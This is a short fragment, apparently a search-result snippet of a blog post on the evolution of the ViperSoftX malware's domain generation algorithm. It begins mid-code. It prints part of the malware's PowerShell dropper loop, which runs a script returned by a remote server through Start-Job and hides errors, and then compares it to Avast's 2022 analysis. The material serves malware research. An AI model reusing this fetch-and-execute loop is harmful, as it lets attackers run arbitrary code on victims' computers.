http://tweedge32j4ib2hrj57l676twj2rwedkkkbr57xcz5z73vpkolws6vid.onion/2022/evolution-of-vipersoftx-dga
v=Downloads_Counter12'
if($r -ne '')
{
Start-Job ([ScriptBlock]::Create($r)) | Wait-Job
}
}
catch {}
Start-Sleep 2
} This is identical to the behavior that Avast would attribute to ViperSoftX’s hidden script dropper in 2022, and also uses the domain name that Colin identified in 2021.
1 similar result skipped